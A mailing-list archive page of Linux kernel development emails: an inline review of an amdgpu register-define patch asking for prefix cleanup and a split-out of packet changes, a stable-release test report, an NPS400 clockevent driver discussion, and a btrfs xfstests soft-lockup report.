> if (state == AMDGPU_IRQ_STATE_DISABLE)
> - WREG32(GRPH_INT_CONTROL + crtc_offsets[type],
> + WREG32(mmGRPH_INTERRUPT_CONTROL +
> crtc_offsets[type],
> reg &
> ~GRPH_INTERRUPT_CONTROL__GRPH_PFLIP_INT_MASK_MASK);
> else
> - WREG32(GRPH_INT_CONTROL + crtc_offsets[type],
> + WREG32(mmGRPH_INTERRUPT_CONTROL +
> crtc_offsets[type],
> reg |
> GRPH_INTERRUPT_CONTROL__GRPH_PFLIP_INT_MASK_MASK);
>
> return 0;
> @@ -2650,9 +2663,9 @@ static int dce_v6_0_pageflip_irq(struct
> amdgpu_device *adev,
> return -EINVAL;
> }
>
> - if (RREG32(GRPH_INT_STATUS + crtc_offsets[crtc_id]) &
> + if (RREG32(mmGRPH_INTERRUPT_STATUS + crtc_offsets[crtc_id]) &
>
> GRPH_INTERRUPT_STATUS__GRPH_PFLIP_INT_OCCURRED_MASK)
> - WREG32(GRPH_INT_STATUS + crtc_offsets[crtc_id],
> + WREG32(mmGRPH_INTERRUPT_STATUS +
> crtc_offsets[crtc_id],
>
> GRPH_INTERRUPT_STATUS__GRPH_PFLIP_INT_CLEAR_MASK);
>
> /* IRQ could occur when in initial stage */
> @@ -2703,9 +2716,9 @@ static int dce_v6_0_hpd_irq(struct amdgpu_device
> *adev,
> mask = interrupt_status_offsets[hpd].hpd;
>
> if (disp_int & mask) {
> - tmp = RREG32(DC_HPD1_INT_CONTROL +
> hpd_offsets[hpd]);
> + tmp = RREG32(mmDC_HPD1_INT_CONTROL +
> hpd_offsets[hpd]);
> tmp |=
> DC_HPD1_INT_CONTROL__DC_HPD1_INT_ACK_MASK;
> - WREG32(DC_HPD1_INT_CONTROL + hpd_offsets[hpd],
> tmp);
> + WREG32(mmDC_HPD1_INT_CONTROL + hpd_offsets[hpd],
> tmp);
> schedule_work(&adev->hotplug_work);
> DRM_INFO("IH: HPD%d\n", hpd + 1);
> }
> diff --git a/drivers/gpu/drm/amd/amdgpu/si_enums.h
> b/drivers/gpu/drm/amd/amdgpu/si_enums.h
> index 3ecd36f30e2a..a57054fcb448 100644
> --- a/drivers/gpu/drm/amd/amdgpu/si_enums.h
> +++ b/drivers/gpu/drm/amd/amdgpu/si_enums.h
> @@ -23,6 +23,84 @@
> #ifndef SI_ENUMS_H
> #define SI_ENUMS_H
>
> +#define VBLANK_INT_MASK (1 << 0)
> +#define DC_HPDx_INT_EN (1 << 16)
> +#define VBLANK_ACK (1 << 4)
> +#define VLINE_ACK (1 << 4)
> +
> +#define CURSOR_WIDTH 64
> +#define CURSOR_HEIGHT 64
> +
> +#define C_000300_VGA_VSTATUS_CNTL 0xFFFCFFFF
> +#define PRIORITY_MARK_MASK 0x7fff
> +#define PRIORITY_OFF (1 << 16)
> +#define PRIORITY_ALWAYS_ON (1 << 20)
> +#define EVERGREEN_INTERLEAVE_EN (1 << 0)
Drop the EVERGREEN prefix
> +
> +#define LATENCY_WATERMARK_MASK(x) ((x) << 16)
> +#define DC_LB_MEMORY_CONFIG(x) ((x) << 20)
> +#define NI_ICON_DEGAMMA_MODE(x) (((x) & 0x3) << 8)
Pleas drop the NI prefix
> +
> +#define EVERGREEN_GRPH_ENDIAN_SWAP(x) (((x) & 0x3) << 0)
> +#define EVERGREEN_GRPH_ENDIAN_NONE 0
> +#define EVERGREEN_GRPH_ENDIAN_8IN16 1
> +#define EVERGREEN_GRPH_ENDIAN_8IN32 2
> +#define EVERGREEN_GRPH_ENDIAN_8IN64 3
> +
> +#define EVERGREEN_GRPH_DEPTH(x) (((x) & 0x3) << 0)
> +#define EVERGREEN_GRPH_DEPTH_8BPP 0
> +#define EVERGREEN_GRPH_DEPTH_16BPP 1
> +#define EVERGREEN_GRPH_DEPTH_32BPP 2
> +
> +#define EVERGREEN_GRPH_FORMAT(x) (((x) & 0x7) << 8)
> +#define EVERGREEN_GRPH_FORMAT_INDEXED 0
> +#define EVERGREEN_GRPH_FORMAT_ARGB1555 0
> +#define EVERGREEN_GRPH_FORMAT_ARGB565 1
> +#define EVERGREEN_GRPH_FORMAT_ARGB4444 2
> +#define EVERGREEN_GRPH_FORMAT_AI88 3
> +#define EVERGREEN_GRPH_FORMAT_MONO16 4
> +#define EVERGREEN_GRPH_FORMAT_BGRA5551 5
> +#define EVERGREEN_GRPH_FORMAT_ARGB8888 0
> +#define EVERGREEN_GRPH_FORMAT_ARGB2101010 1
> +#define EVERGREEN_GRPH_FORMAT_32BPP_DIG 2
> +#define EVERGREEN_GRPH_FORMAT_8B_ARGB2101010 3
> +#define EVERGREEN_GRPH_FORMAT_BGRA1010102 4
> +#define EVERGREEN_GRPH_FORMAT_8B_BGRA1010102 5
> +#define EVERGREEN_GRPH_FORMAT_RGB111110 6
> +#define EVERGREEN_GRPH_FORMAT_BGR101111 7
> +
> +#define EVERGREEN_GRPH_NUM_BANKS(x) (((x) & 0x3) << 2)
> +#define EVERGREEN_GRPH_ARRAY_MODE(x) (((x) & 0x7) << 20)
> +#define EVERGREEN_GRPH_ARRAY_LINEAR_GENERAL 0
> +#define EVERGREEN_GRPH_ARRAY_LINEAR_ALIGNED 1
> +#define EVERGREEN_GRPH_ARRAY_1D_TILED_THIN1 2
> +#define EVERGREEN_GRPH_ARRAY_2D_TILED_THIN1 4
> +#define EVERGREEN_GRPH_TILE_SPLIT(x) (((x) & 0x7) << 13)
> +#define EVERGREEN_GRPH_BANK_WIDTH(x) (((x) & 0x3) << 6)
> +#define EVERGREEN_GRPH_BANK_HEIGHT(x) (((x) & 0x3) << 11)
> +#define EVERGREEN_GRPH_MACRO_TILE_ASPECT(x) (((x) & 0x3) << 18)
> +#define EVERGREEN_GRPH_ARRAY_MODE(x) (((x) & 0x7) << 20)
Please drop the EVERGREEN prefix
> +#define SI_GRPH_PIPE_CONFIG(x) (((x) & 0x1f) << 24)
And SI prefix
> +
> +#define EVERGREEN_CURSOR_EN (1 << 0)
> +#define EVERGREEN_CURSOR_MODE(x) (((x) & 0x3) << 8)
> +#define EVERGREEN_CURSOR_MONO 0
> +#define EVERGREEN_CURSOR_24_1 1
> +#define EVERGREEN_CURSOR_24_8_PRE_MULT 2
> +#define EVERGREEN_CURSOR_24_8_UNPRE_MULT 3
> +#define EVERGREEN_CURSOR_2X_MAGNIFY (1 << 16)
> +#define EVERGREEN_CURSOR_FORCE_MC_ON (1 << 20)
> +#define EVERGREEN_CURSOR_URGENT_CONTROL(x) (((x) & 0x7) << 24)
> +#define EVERGREEN_CURSOR_URGENT_ALWAYS 0
> +#define EVERGREEN_CURSOR_URGENT_1_8 1
> +#define EVERGREEN_CURSOR_URGENT_1_4 2
> +#define EVERGREEN_CURSOR_URGENT_3_8 3
> +#define EVERGREEN_CURSOR_URGENT_1_2 4
> +#define EVERGREEN_CURSOR_UPDATE_PENDING (1 << 0)
> +#define EVERGREEN_CURSOR_UPDATE_TAKEN (1 << 1)
> +#define EVERGREEN_CURSOR_UPDATE_LOCK (1 << 16)
> +#define EVERGREEN_CURSOR_DISABLE_MULTIPLE_UPDATE (1 << 24)
> +
Drop the EVERGREEN prefix
> #define AMDGPU_NUM_OF_VMIDS 8
> #define SI_CRTC0_REGISTER_OFFSET 0
> #define SI_CRTC1_REGISTER_OFFSET 0x300
> @@ -68,127 +146,128 @@
> #define VERDE_GB_ADDR_CONFIG_GOLDEN 0x12010002
> #define HAINAN_GB_ADDR_CONFIG_GOLDEN 0x02010001
>
> -#define PACKET3(op, n) ((RADEON_PACKET_TYPE3 << 30) | \
> - (((op) & 0xFF) << 8) | \
> +#define PACKET3(op, n) ((RADEON_PACKET_TYPE3 << 30) | \
> + (((op) & 0xFF) << 8) | \
> ((n) & 0x3FFF) << 16)
> +
> #define PACKET3_COMPUTE(op, n) (PACKET3(op, n) | 1 << 1)
> -#define PACKET3_NOP 0x10
> -#define PACKET3_SET_BASE 0x11
> -#define PACKET3_BASE_INDEX(x) ((x) << 0)
> -#define PACKET3_CLEAR_STATE 0x12
> -#define PACKET3_INDEX_BUFFER_SIZE 0x13
> -#define PACKET3_DISPATCH_DIRECT 0x15
> -#define PACKET3_DISPATCH_INDIRECT 0x16
> -#define PACKET3_ALLOC_GDS 0x1B
> -#define PACKET3_WRITE_GDS_RAM 0x1C
> -#define PACKET3_ATOMIC_GDS 0x1D
> -#define PACKET3_ATOMIC 0x1E
> -#define PACKET3_OCCLUSION_QUERY 0x1F
> -#define PACKET3_SET_PREDICATION 0x20
> -#define PACKET3_REG_RMW 0x21
> -#define PACKET3_COND_EXEC 0x22
> -#define PACKET3_PRED_EXEC 0x23
> -#define PACKET3_DRAW_INDIRECT 0x24
> -#define PACKET3_DRAW_INDEX_INDIRECT 0x25
> -#define PACKET3_INDEX_BASE 0x26
> -#define PACKET3_DRAW_INDEX_2 0x27
> -#define PACKET3_CONTEXT_CONTROL 0x28
> -#define PACKET3_INDEX_TYPE 0x2A
> -#define PACKET3_DRAW_INDIRECT_MULTI 0x2C
> -#define PACKET3_DRAW_INDEX_AUTO
> 0x2D
> -#define PACKET3_DRAW_INDEX_IMMD
> 0x2E
> -#define PACKET3_NUM_INSTANCES 0x2F
> -#define PACKET3_DRAW_INDEX_MULTI_AUTO
> 0x30
> -#define PACKET3_INDIRECT_BUFFER_CONST 0x31
> -#define PACKET3_INDIRECT_BUFFER 0x3F
> -#define PACKET3_STRMOUT_BUFFER_UPDATE 0x34
> -#define PACKET3_DRAW_INDEX_OFFSET_2 0x35
> -#define PACKET3_DRAW_INDEX_MULTI_ELEMENT 0x36
> -#define PACKET3_WRITE_DATA 0x37
> -#define PACKET3_DRAW_INDEX_INDIRECT_MULTI 0x38
> -#define PACKET3_MEM_SEMAPHORE 0x39
> -#define PACKET3_MPEG_INDEX 0x3A
> -#define PACKET3_COPY_DW 0x3B
> -#define PACKET3_WAIT_REG_MEM 0x3C
> -#define PACKET3_MEM_WRITE 0x3D
> -#define PACKET3_COPY_DATA 0x40
> -#define PACKET3_CP_DMA 0x41
> -# define PACKET3_CP_DMA_DST_SEL(x) ((x) << 20)
> -# define PACKET3_CP_DMA_ENGINE(x) ((x) << 27)
> -# define PACKET3_CP_DMA_SRC_SEL(x) ((x) << 29)
> -# define PACKET3_CP_DMA_CP_SYNC (1 << 31)
> -# define PACKET3_CP_DMA_DIS_WC (1 << 21)
> -# define PACKET3_CP_DMA_CMD_SRC_SWAP(x) ((x) << 22)
> -# define PACKET3_CP_DMA_CMD_DST_SWAP(x) ((x) << 24)
> -# define PACKET3_CP_DMA_CMD_SAS (1 << 26)
> -# define PACKET3_CP_DMA_CMD_DAS (1 << 27)
> -# define PACKET3_CP_DMA_CMD_SAIC (1 << 28)
> -# define PACKET3_CP_DMA_CMD_DAIC (1 << 29)
> -# define PACKET3_CP_DMA_CMD_RAW_WAIT (1 << 30)
> -#define PACKET3_PFP_SYNC_ME 0x42
> -#define PACKET3_SURFACE_SYNC 0x43
> -# define PACKET3_DEST_BASE_0_ENA (1 << 0)
> -# define PACKET3_DEST_BASE_1_ENA (1 << 1)
> -# define PACKET3_CB0_DEST_BASE_ENA (1 << 6)
> -# define PACKET3_CB1_DEST_BASE_ENA (1 << 7)
> -# define PACKET3_CB2_DEST_BASE_ENA (1 << 8)
> -# define PACKET3_CB3_DEST_BASE_ENA (1 << 9)
> -# define PACKET3_CB4_DEST_BASE_ENA (1 << 10)
> -# define PACKET3_CB5_DEST_BASE_ENA (1 << 11)
> -# define PACKET3_CB6_DEST_BASE_ENA (1 << 12)
> -# define PACKET3_CB7_DEST_BASE_ENA (1 << 13)
> -# define PACKET3_DB_DEST_BASE_ENA (1 << 14)
> -# define PACKET3_DEST_BASE_2_ENA (1 << 19)
> -# define PACKET3_DEST_BASE_3_ENA (1 << 21)
> -# define PACKET3_TCL1_ACTION_ENA (1 << 22)
> -# define PACKET3_TC_ACTION_ENA (1 << 23)
> -# define PACKET3_CB_ACTION_ENA (1 << 25)
> -# define PACKET3_DB_ACTION_ENA (1 << 26)
> -# define PACKET3_SH_KCACHE_ACTION_ENA (1 << 27)
> -# define PACKET3_SH_ICACHE_ACTION_ENA (1 << 29)
> -#define PACKET3_ME_INITIALIZE 0x44
> -#define PACKET3_ME_INITIALIZE_DEVICE_ID(x) ((x) << 16)
> -#define PACKET3_COND_WRITE 0x45
> -#define PACKET3_EVENT_WRITE 0x46
> -#define PACKET3_EVENT_WRITE_EOP 0x47
> -#define PACKET3_EVENT_WRITE_EOS 0x48
> -#define PACKET3_PREAMBLE_CNTL 0x4A
> -# define PACKET3_PREAMBLE_BEGIN_CLEAR_STATE (2 << 28)
> -# define PACKET3_PREAMBLE_END_CLEAR_STATE (3 << 28)
> -#define PACKET3_ONE_REG_WRITE 0x57
> -#define PACKET3_LOAD_CONFIG_REG 0x5F
> -#define PACKET3_LOAD_CONTEXT_REG 0x60
> -#define PACKET3_LOAD_SH_REG 0x61
> -#define PACKET3_SET_CONFIG_REG 0x68
> -#define PACKET3_SET_CONFIG_REG_START
> 0x00002000
> -#define PACKET3_SET_CONFIG_REG_END
> 0x00002c00
> -#define PACKET3_SET_CONTEXT_REG 0x69
> -#define PACKET3_SET_CONTEXT_REG_START
> 0x000a000
> -#define PACKET3_SET_CONTEXT_REG_END
> 0x000a400
> -#define PACKET3_SET_CONTEXT_REG_INDIRECT 0x73
> -#define PACKET3_SET_RESOURCE_INDIRECT 0x74
> -#define PACKET3_SET_SH_REG 0x76
> -#define PACKET3_SET_SH_REG_START
> 0x00002c00
> -#define PACKET3_SET_SH_REG_END
> 0x00003000
> -#define PACKET3_SET_SH_REG_OFFSET 0x77
> -#define PACKET3_ME_WRITE 0x7A
> -#define PACKET3_SCRATCH_RAM_WRITE 0x7D
> -#define PACKET3_SCRATCH_RAM_READ 0x7E
> -#define PACKET3_CE_WRITE 0x7F
> -#define PACKET3_LOAD_CONST_RAM 0x80
> -#define PACKET3_WRITE_CONST_RAM 0x81
> -#define PACKET3_WRITE_CONST_RAM_OFFSET
> 0x82
> -#define PACKET3_DUMP_CONST_RAM 0x83
> -#define PACKET3_INCREMENT_CE_COUNTER 0x84
> -#define PACKET3_INCREMENT_DE_COUNTER 0x85
> -#define PACKET3_WAIT_ON_CE_COUNTER 0x86
> -#define PACKET3_WAIT_ON_DE_COUNTER 0x87
> -#define PACKET3_WAIT_ON_DE_COUNTER_DIFF
> 0x88
> -#define PACKET3_SET_CE_DE_COUNTERS 0x89
> -#define PACKET3_WAIT_ON_AVAIL_BUFFER 0x8A
> -#define PACKET3_SWITCH_BUFFER 0x8B
> -#define PACKET3_SEM_WAIT_ON_SIGNAL (0x1 << 12)
> -#define PACKET3_SEM_SEL_SIGNAL (0x6 << 29)
> -#define PACKET3_SEM_SEL_WAIT (0x7 << 29)
> +#define PACKET3_NOP 0x10
> +#define PACKET3_SET_BASE 0x11
> +#define PACKET3_BASE_INDEX(x) ((x) << 0)
> +#define PACKET3_CLEAR_STATE 0x12
> +#define PACKET3_INDEX_BUFFER_SIZE 0x13
> +#define PACKET3_DISPATCH_DIRECT 0x15
> +#define PACKET3_DISPATCH_INDIRECT 0x16
> +#define PACKET3_ALLOC_GDS 0x1B
> +#define PACKET3_WRITE_GDS_RAM 0x1C
> +#define PACKET3_ATOMIC_GDS 0x1D
> +#define PACKET3_ATOMIC 0x1E
> +#define PACKET3_OCCLUSION_QUERY 0x1F
> +#define PACKET3_SET_PREDICATION 0x20
> +#define PACKET3_REG_RMW 0x21
> +#define PACKET3_COND_EXEC 0x22
> +#define PACKET3_PRED_EXEC 0x23
> +#define PACKET3_DRAW_INDIRECT 0x24
> +#define PACKET3_DRAW_INDEX_INDIRECT 0x25
> +#define PACKET3_INDEX_BASE 0x26
> +#define PACKET3_DRAW_INDEX_2 0x27
> +#define PACKET3_CONTEXT_CONTROL 0x28
> +#define PACKET3_INDEX_TYPE 0x2A
> +#define PACKET3_DRAW_INDIRECT_MULTI 0x2C
> +#define PACKET3_DRAW_INDEX_AUTO 0x2D
> +#define PACKET3_DRAW_INDEX_IMMD 0x2E
> +#define PACKET3_NUM_INSTANCES 0x2F
> +#define PACKET3_DRAW_INDEX_MULTI_AUTO 0x30
> +#define PACKET3_INDIRECT_BUFFER_CONST 0x31
> +#define PACKET3_INDIRECT_BUFFER 0x3F
> +#define PACKET3_STRMOUT_BUFFER_UPDATE 0x34
> +#define PACKET3_DRAW_INDEX_OFFSET_2 0x35
> +#define PACKET3_DRAW_INDEX_MULTI_ELEMENT 0x36
> +#define PACKET3_WRITE_DATA 0x37
> +#define PACKET3_DRAW_INDEX_INDIRECT_MULTI 0x38
> +#define PACKET3_MEM_SEMAPHORE 0x39
> +#define PACKET3_MPEG_INDEX 0x3A
> +#define PACKET3_COPY_DW 0x3B
> +#define PACKET3_WAIT_REG_MEM 0x3C
> +#define PACKET3_MEM_WRITE 0x3D
> +#define PACKET3_COPY_DATA 0x40
> +#define PACKET3_CP_DMA 0x41
> +#define PACKET3_CP_DMA_DST_SEL(x) ((x) << 20)
> +#define PACKET3_CP_DMA_ENGINE(x) ((x) << 27)
> +#define PACKET3_CP_DMA_SRC_SEL(x) ((x) << 29)
> +#define PACKET3_CP_DMA_CP_SYNC (1 << 31)
> +#define PACKET3_CP_DMA_DIS_WC (1 << 21)
> +#define PACKET3_CP_DMA_CMD_SRC_SWAP(x) ((x) << 22)
> +#define PACKET3_CP_DMA_CMD_DST_SWAP(x) ((x) << 24)
> +#define PACKET3_CP_DMA_CMD_SAS (1 << 26)
> +#define PACKET3_CP_DMA_CMD_DAS (1 << 27)
> +#define PACKET3_CP_DMA_CMD_SAIC (1 << 28)
> +#define PACKET3_CP_DMA_CMD_DAIC (1 << 29)
> +#define PACKET3_CP_DMA_CMD_RAW_WAIT (1 << 30)
> +#define PACKET3_PFP_SYNC_ME 0x42
> +#define PACKET3_SURFACE_SYNC 0x43
> +#define PACKET3_DEST_BASE_0_ENA (1 << 0)
> +#define PACKET3_DEST_BASE_1_ENA (1 << 1)
> +#define PACKET3_CB0_DEST_BASE_ENA (1 << 6)
> +#define PACKET3_CB1_DEST_BASE_ENA (1 << 7)
> +#define PACKET3_CB2_DEST_BASE_ENA (1 << 8)
> +#define PACKET3_CB3_DEST_BASE_ENA (1 << 9)
> +#define PACKET3_CB4_DEST_BASE_ENA (1 << 10)
> +#define PACKET3_CB5_DEST_BASE_ENA (1 << 11)
> +#define PACKET3_CB6_DEST_BASE_ENA (1 << 12)
> +#define PACKET3_CB7_DEST_BASE_ENA (1 << 13)
> +#define PACKET3_DB_DEST_BASE_ENA (1 << 14)
> +#define PACKET3_DEST_BASE_2_ENA (1 << 19)
> +#define PACKET3_DEST_BASE_3_ENA (1 << 21)
> +#define PACKET3_TCL1_ACTION_ENA (1 << 22)
> +#define PACKET3_TC_ACTION_ENA (1 << 23)
> +#define PACKET3_CB_ACTION_ENA (1 << 25)
> +#define PACKET3_DB_ACTION_ENA (1 << 26)
> +#define PACKET3_SH_KCACHE_ACTION_ENA (1 << 27)
> +#define PACKET3_SH_ICACHE_ACTION_ENA (1 << 29)
> +#define PACKET3_ME_INITIALIZE 0x44
> +#define PACKET3_ME_INITIALIZE_DEVICE_ID(x) ((x) << 16)
> +#define PACKET3_COND_WRITE 0x45
> +#define PACKET3_EVENT_WRITE 0x46
> +#define PACKET3_EVENT_WRITE_EOP 0x47
> +#define PACKET3_EVENT_WRITE_EOS 0x48
> +#define PACKET3_PREAMBLE_CNTL 0x4A
> +#define PACKET3_PREAMBLE_BEGIN_CLEAR_STATE (2 << 28)
> +#define PACKET3_PREAMBLE_END_CLEAR_STATE (3 << 28)
> +#define PACKET3_ONE_REG_WRITE 0x57
> +#define PACKET3_LOAD_CONFIG_REG 0x5F
> +#define PACKET3_LOAD_CONTEXT_REG 0x60
> +#define PACKET3_LOAD_SH_REG 0x61
> +#define PACKET3_SET_CONFIG_REG 0x68
> +#define PACKET3_SET_CONFIG_REG_START 0x00002000
> +#define PACKET3_SET_CONFIG_REG_END 0x00002c00
> +#define PACKET3_SET_CONTEXT_REG 0x69
> +#define PACKET3_SET_CONTEXT_REG_START 0x000a000
> +#define PACKET3_SET_CONTEXT_REG_END 0x000a400
> +#define PACKET3_SET_CONTEXT_REG_INDIRECT 0x73
> +#define PACKET3_SET_RESOURCE_INDIRECT 0x74
> +#define PACKET3_SET_SH_REG 0x76
> +#define PACKET3_SET_SH_REG_START 0x00002c00
> +#define PACKET3_SET_SH_REG_END 0x00003000
> +#define PACKET3_SET_SH_REG_OFFSET 0x77
> +#define PACKET3_ME_WRITE 0x7A
> +#define PACKET3_SCRATCH_RAM_WRITE 0x7D
> +#define PACKET3_SCRATCH_RAM_READ 0x7E
> +#define PACKET3_CE_WRITE 0x7F
> +#define PACKET3_LOAD_CONST_RAM 0x80
> +#define PACKET3_WRITE_CONST_RAM 0x81
> +#define PACKET3_WRITE_CONST_RAM_OFFSET 0x82
> +#define PACKET3_DUMP_CONST_RAM 0x83
> +#define PACKET3_INCREMENT_CE_COUNTER 0x84
> +#define PACKET3_INCREMENT_DE_COUNTER 0x85
> +#define PACKET3_WAIT_ON_CE_COUNTER 0x86
> +#define PACKET3_WAIT_ON_DE_COUNTER 0x87
> +#define PACKET3_WAIT_ON_DE_COUNTER_DIFF 0x88
> +#define PACKET3_SET_CE_DE_COUNTERS 0x89
> +#define PACKET3_WAIT_ON_AVAIL_BUFFER 0x8A
> +#define PACKET3_SWITCH_BUFFER 0x8B
> +#define PACKET3_SEM_WAIT_ON_SIGNAL (0x1 << 12)
> +#define PACKET3_SEM_SEL_SIGNAL (0x6 << 29)
> +#define PACKET3_SEM_SEL_WAIT (0x7 << 29)
>
All of these CP packet changes seem unrelated. Please split them out into a separate patch.
> #endif
> diff --git a/drivers/gpu/drm/amd/include/asic_reg/dce/dce_6_0_d.h
> b/drivers/gpu/drm/amd/include/asic_reg/dce/dce_6_0_d.h
> index a17973bb63a6..3e8f576d2a14 100644
> --- a/drivers/gpu/drm/amd/include/asic_reg/dce/dce_6_0_d.h
> +++ b/drivers/gpu/drm/amd/include/asic_reg/dce/dce_6_0_d.h
> @@ -4442,4 +4442,25 @@
> #define mmXDMA_TEST_DEBUG_DATA 0x041D
> #define mmXDMA_TEST_DEBUG_INDEX 0x041C
>
> +/* Registers that spilled out of sid.h */
> +#define mmAVIVO_D1VGA_CONTROL 0xcc
> +#define mmAVIVO_D2VGA_CONTROL 0xce
Drop the AVIVO prefix
> +#define mmEVERGREEN_VGA_MEMORY_BASE_ADDRESS_HIGH 0xc9
> +#define mmEVERGREEN_VGA_MEMORY_BASE_ADDRESS 0xc4
Drop the EVERGREEN prefix
> +#define mmR_000300_VGA_RENDER_CONTROL 0xc0
Drop the R_0003000 prefix
> +#define mmEVERGREEN_D3VGA_CONTROL 0xf8
> +#define mmEVERGREEN_D4VGA_CONTROL 0xf9
> +#define mmEVERGREEN_D5VGA_CONTROL 0xfa
> +#define mmEVERGREEN_D6VGA_CONTROL 0xfb
> +#define mmEVERGREEN_DATA_FORMAT 0x1AC0
> +#define mmEVERGREEN_DESKTOP_HEIGHT 0x1AC1
Drop the EVERGREEN prefix
> +#define mmDC_LB_MEMORY_SPLIT 0x1AC3
> +#define mmPRIORITY_A_CNT 0x1AC6
> +#define mmPRIORITY_B_CNT 0x1AC7
> +#define mmDPG_PIPE_ARBITRATION_CONTROL3 0x1B32
> +#define mmINT_MASK 0x1AD0
> +#define mmVLINE_STATUS 0x1AEE
> +#define mmVBLANK_STATUS 0x1AEF
> +
> +
> #endif
> --
> 2.10.0
>
> _______________________________________________
> amd-gfx mailing list
> amd-gfx@lists.freedesktop.org
> https://lists.freedesktop.org/mailman/listinfo/amd-gfx
_______________________________________________
amd-gfx mailing list
amd-gfx@lists.freedesktop.org
https://lists.freedesktop.org/mailman/listinfo/amd-gfx
^ permalink raw reply
* Re: [PATCH 3.2 000/152] 3.2.84-rc1 review
From: Ben Hutchings @ 2016-11-14 17:10 UTC (permalink / raw)
To: Guenter Roeck, linux-kernel, stable; +Cc: torvalds, akpm
In-Reply-To: <26a11d70-76f0-6fde-b187-094f081bbaf2@roeck-us.net>
[-- Attachment #1: Type: text/plain, Size: 784 bytes --]
On Sun, 2016-11-13 at 21:47 -0800, Guenter Roeck wrote:
> On 11/13/2016 04:14 PM, Ben Hutchings wrote:
> > This is the start of the stable review cycle for the 3.2.84 release.
> > There are 152 patches in this series, which will be posted as responses
> > to this one. If anyone has any issues with these being applied, please
> > let me know.
> >
> > Responses should be made by Sat Nov 19 00:00:00 UTC 2016.
> > Anything received after that time might be too late.
> >
>
> Build results:
> total: 89 pass: 89 fail: 0
> Qemu test results:
> total: 61 pass: 61 fail: 0
>
> Details are available at http://kerneltests.org/builders.
Thanks for checking.
Ben.
--
Ben Hutchings
If more than one person is responsible for a bug, no one is at fault.
[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 801 bytes --]
^ permalink raw reply
* Re: [PATCH v5 3/3] clocksource: Add clockevent support to NPS400 driver
From: Daniel Lezcano @ 2016-11-14 17:10 UTC (permalink / raw)
To: Noam Camus
Cc: robh+dt@kernel.org, mark.rutland@arm.com, tglx@linutronix.de,
devicetree@vger.kernel.org, linux-kernel@vger.kernel.org
In-Reply-To: <DB6PR0501MB251848D66EAA58589B550B41AABC0@DB6PR0501MB2518.eurprd05.prod.outlook.com>
On Mon, Nov 14, 2016 at 04:45:44PM +0000, Noam Camus wrote:
> > From: Daniel Lezcano [mailto:daniel.lezcano@linaro.org] Sent: Monday,
> > November 14, 2016 5:42 PM
>
> >> When you are saying "we have a framework" do you mean to some generic
> >> framework in the kernel?
>
> > Yes, IIRC it is regmap but I'm not sure.
> Indeed regmap is a generic framework and it primarily meant for registers
> which can be mapped to our virtual/logical address space which is not the
> case here. For our auxiliary registers access we use dedicated instructions
> (lr/sr) and not LOAD/STORE like GCC produce. It is possible to use such
> regmap but this driver will be filled with all regmap handling just to hide
> couple of lines. This will not serve this driver readability well.
Indeed.
> >I think there is something I am missing with this HW scheduling thing. Why
> >are these hw_schd_save/hw_schd_restore functions needed to be called from
> >the timer driver ? Regarding the explanation, the HW scheduling can happen
> >everywhere at any time, not only in the timer code but this one is the only
> >one which need the hw_schd_save/hw_schd_restore calls, why ?
> I use them not just here they are also serve to protect our L1 cache and TLB
> which are also shared within same core. You can't see this yet since patch
> are not still push to arch/arc tree.
> >Why,
>
> >spin_lock(&lock); write_aux_reg(...) spin_unlock(&lock);
>
> >can't work ?
> Because I can't use spinlock in interrupt context (I call to
> nps_clkevent_rm_thread() in irq_handler).
>
> >IIUC, there can be more than 16 cpus/threads, so calling hw_schd_save /
> >hw_schd_restore will disable the HW scheduling for the entire system while
> >one cpu is processing something with these couple of registers, no ?
> NO, HW scheduling will be disabled only for this specific core, all other
> cores will not be affected since they got their own private registers.
>
> ...
> >> >And tick_resume. Perhaps, that is the reason why NO_HZ hangs.
> >> What NO_HZ hang are you referring to in this case? How calling
> >> nps_clkevent_rm_thread() explain such hang? Anyway I agree, and will add
> >> nps_clkevent_rm_thread() to tick_resume.
>
> >Actually I meant NOHZ_FULL.
> Still got no clue what hang we are talking about here!
Never mind, I read in a previous email from v2 "hanging" instead of "handling".
> Note: I looked at arch/tile timer driver again and noticed that I can work
> without periodic mode. This is exactly what I need here (pure oneshot mode).
> With this fact I can define Static void nps_clkevent_rm_thread(void) Static
> void nps_clkevent_add_thread(void)
>
> Also HW scheduling save/restore is only used in *rm_thread/*add_thread since
> I can now remove nps_clkevent_set_periodic() and
> nps_clkevent_timer_event_setup(). This way clockevent driver seem much
> simpler and it is clearer to understanding. I hope that this approach of not
> having periodic mode is acceptable.
AFAICT, oneshot mode is more accurate than periodic mode. The time framework
will take care of emulating the periodic timer. There are several timers in
drivers/clocksource which are oneshot more only.
--
<http://www.linaro.org/> Linaro.org │ Open source software for ARM SoCs
Follow Linaro: <http://www.facebook.com/pages/Linaro> Facebook |
<http://twitter.com/#!/linaroorg> Twitter |
<http://www.linaro.org/linaro-blog/> Blog
^ permalink raw reply
* another latest mainline crash in xfstests
From: Christoph Hellwig @ 2016-11-14 17:09 UTC (permalink / raw)
To: linux-btrfs
And if this isn't enough it seems generic/166 hangs after finishing
the main test (which already takes a very long time):
generic/113 16s ...[ 2498.548221] run fstests generic/113 at 2016-11-14
17:04:56
[ 2498.984322] BTRFS info (device vdb): disk space caching is enabled
[ 2499.983635] BTRFS info (device vdb): disk space caching is enabled
[ 2501.282154] BTRFS info (device vdb): disk space caching is enabled
[ 2528.330899] NMI watchdog: BUG: soft lockup - CPU#0 stuck for 22s!
[aio-stress:17961]
[ 2528.333617] Modules linked in:
[ 2528.334685] CPU: 0 PID: 17961 Comm: aio-stress Not tainted 4.9.0-rc5 #828
[ 2528.336999] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140531_083030-gandalf 04/01/2014
[ 2528.337563] NMI watchdog: BUG: soft lockup - CPU#1 stuck for 22s! [aio-stress:17960]
[ 2528.337564] Modules linked in:
[ 2528.337566] CPU: 1 PID: 17960 Comm: aio-stress Not tainted 4.9.0-rc5 #828
[ 2528.337567] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140531_083030-gandalf 04/01/2014
[ 2528.337568] task: ffff880137e98240 task.stack: ffffc900001e4000
[ 2528.337573] RIP: 0010:[<ffffffff811dd2fe>] [<ffffffff811dd2fe>] check_poison_obj+0x4e/0x250
[ 2528.337574] RSP: 0018:ffffc900001e7690 EFLAGS: 00000297
[ 2528.337575] RAX: 000000000000006b RBX: 00000000000000a5 RCX: 0000000000000000
[ 2528.337576] RDX: 00000000000000a5 RSI: ffff88013ba7e300 RDI: ffff88013b800500
